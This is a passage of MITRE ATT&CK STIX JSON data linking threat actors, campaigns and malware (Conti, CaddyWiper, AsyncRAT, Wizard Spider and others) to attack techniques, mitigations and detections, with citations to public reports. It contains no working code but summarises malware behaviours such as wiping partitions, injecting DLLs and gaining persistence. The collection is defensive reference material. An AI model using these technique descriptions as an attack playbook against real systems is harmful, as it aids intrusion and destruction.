2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9a0a532-21a6-47a2-83f8-4abb61cb3fc7","created":"2022-05-27T13:59:53.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T17:39:41.836Z","description":"Ensure that low-privileged user accounts do not have permissions to add permissions to accounts or update IAM policies.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9a34eaa-c17c-400a-b4e0-063445e430af","created":"2019-01-30T15:47:41.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:57:20.547Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9a82ef5-524a-4b95-a9b5-560e61f3d2fa","type":"relationship","created":"2021-02-25T01:55:40.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-02-25T01:55:40.902Z","description":"[Conti](https://attack.mitre.org/software/S0575) has used API calls during execution.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9aa88f9-353c-4cc0-8d58-b5b4b00bfff2","created":"2021-03-01T21:23:22.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"},{"source_name":"ObjectiveSee AppleJeus 2019","description":"Patrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.","url":"https://objective-see.org/blog/blog_0x49.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:44:34.312Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has placed a plist file within the LaunchDaemons folder and launched it manually.(Citation: CISA AppleJeus Feb 2021)(Citation: ObjectiveSee AppleJeus 2019)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9b023e8-5a77-4b2d-a4b3-30a0d66b9956","type":"relationship","created":"2021-08-04T13:44:25.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.787Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can execute an LDAP query to discover e-mail accounts for domain users.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9b07e52-aff8-4fad-af72-ff646495d25f","type":"relationship","created":"2021-10-12T19:38:50.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"}],"modified":"2021-10-18T21:02:31.520Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) has obtained and used open-source tools such as [PsExec](https://attack.mitre.org/software/S0029) and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f9b7c51c-fcb1-4cf7-b19d-ecd92291326c","created":"2022-04-13T11:29:20.314Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use group policy to push a scheduled task from the AD to all network machines.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-13T11:29:20.314Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f9bcef0c-01a5-4fd8-a6f1-8423b5e98e52","created":"2022-03-23T20:35:57.941Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET CaddyWiper March 2022","url":"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine","description":"ESET. (2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022."},{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CaddyWiper](https://attack.mitre.org/software/S0693) has the ability to destroy information about a physical drive's partitions including the MBR, GPT, and partition entries.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)","modified":"2022-04-17T14:07:34.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9bf12c3-7512-47fe-86d7-cc89662abad4","type":"relationship","created":"2019-01-30T18:58:04.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2019-04-22T19:48:08.965Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can gather system information from the victim’s machine such as the OS version, machine name, and drive information.(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9c13c35-a493-4733-b51c-ab4857692e18","type":"relationship","created":"2020-05-11T22:12:28.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.336Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) checks for the existence of two configuration files (keyword_parm.txt and parm.txt) and attempts to read the files every 30 seconds.(Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9c5fdd4-4978-433f-a718-f8f512e13cac","created":"2022-12-19T16:10:50.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T17:12:12.990Z","description":"[dsquery](https://attack.mitre.org/software/S0105) has the ability to enumerate various information, such as the operating system and host name, for systems within a domain.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9c7127d-2a27-4dcf-bef5-9150a6c4334d","type":"relationship","created":"2019-01-30T15:33:07.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.342Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used the commands net start and tasklist to get a listing of the services on the system.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9c7cede-2f07-4a54-9dcd-14304055886a","created":"2023-09-20T18:56:13.290Z","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:56:13.290Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can create a scheduled task to maintain persistence on system start-up.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.334Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9ca130a-1356-4a0a-9d38-ee7d2f9a51f6","created":"2021-09-15T18:16:39.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Crowdstrike EvilCorp March 2021","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:34:06.940Z","description":"(Citation: Crowdstrike EvilCorp March 2021)(Citation: Microsoft Ransomware as a Service)(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9d59358-17e0-44fe-8d59-fd534c9afc6b","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitoring changes to the Windows Registry may reveal malicious attempts to modify trust settings, such as the installation of root certificates. Installed root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) Also consider enabling the Registry Global Object Access Auditing (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers:(Citation: Microsoft Audit Registry July 2012) ","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"},{"source_name":"Microsoft Registry Auditing Aug 2016","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"},{"source_name":"Microsoft Audit Registry July 2012","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9d9b5aa-f4d6-46fc-8831-21ca405ab8e5","type":"relationship","created":"2020-11-10T15:39:49.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T15:46:09.219Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9db15af-c5c9-4978-bcf8-0c02a5dce618","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9dc35b9-5cf9-4dbf-a1fd-698c95c047c5","created":"2022-10-13T15:42:02.324Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:42:02.324Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors installed [Rising Sun](https://attack.mitre.org/software/S0448) in the Startup folder and disguised it as `mssync.exe`.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9deebbf-5710-4e54-b4be-83404cee35da","type":"relationship","created":"2020-06-29T22:23:14.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T22:22:00.044Z","description":"Use application control to mitigate installation and use of unapproved virtualization software.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9","created":"2019-07-19T14:37:37.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Palo Alto Ransomware in Public Clouds 2022","description":"Jay Chen. (2022, May 16). A Look Into Public Clouds From the Ransomware Actor's Perspective. Retrieved March 21, 2023.","url":"https://unit42.paloaltonetworks.com/ransomware-in-public-clouds/"},{"source_name":"Ready.gov IT DRP","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T16:42:22.826Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. In cloud environments, enable versioning on storage objects where possible, and copy backups to other accounts or regions to isolate them from the original copies.(Citation: Unit 42 Palo Alto Ransomware in Public Clouds 2022)","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9ec1b10-f819-42d8-a4b4-ecf015999cb6","type":"relationship","created":"2019-07-09T17:54:21.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.354Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-010 to move laterally to other systems on the network.(Citation: Unit42 Emissary Panda May 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9eca2ae-009b-434a-bf31-66bc1f98d9ba","created":"2024-08-20T19:03:38.095Z","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:03:38.095Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) staged compromised versions of legitimate software installers on forums to achieve initial, untargetetd access in victim environments.(Citation: mandiant_apt44_unearthing_sandworm) ","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9ed8046-c00b-4d8a-a8d2-833f45f1dfcb","type":"relationship","created":"2020-02-20T18:39:33.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T19:55:01.697Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9f9a03b-107a-4cba-ad4e-39d9424da100","created":"2024-03-05T18:28:11.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 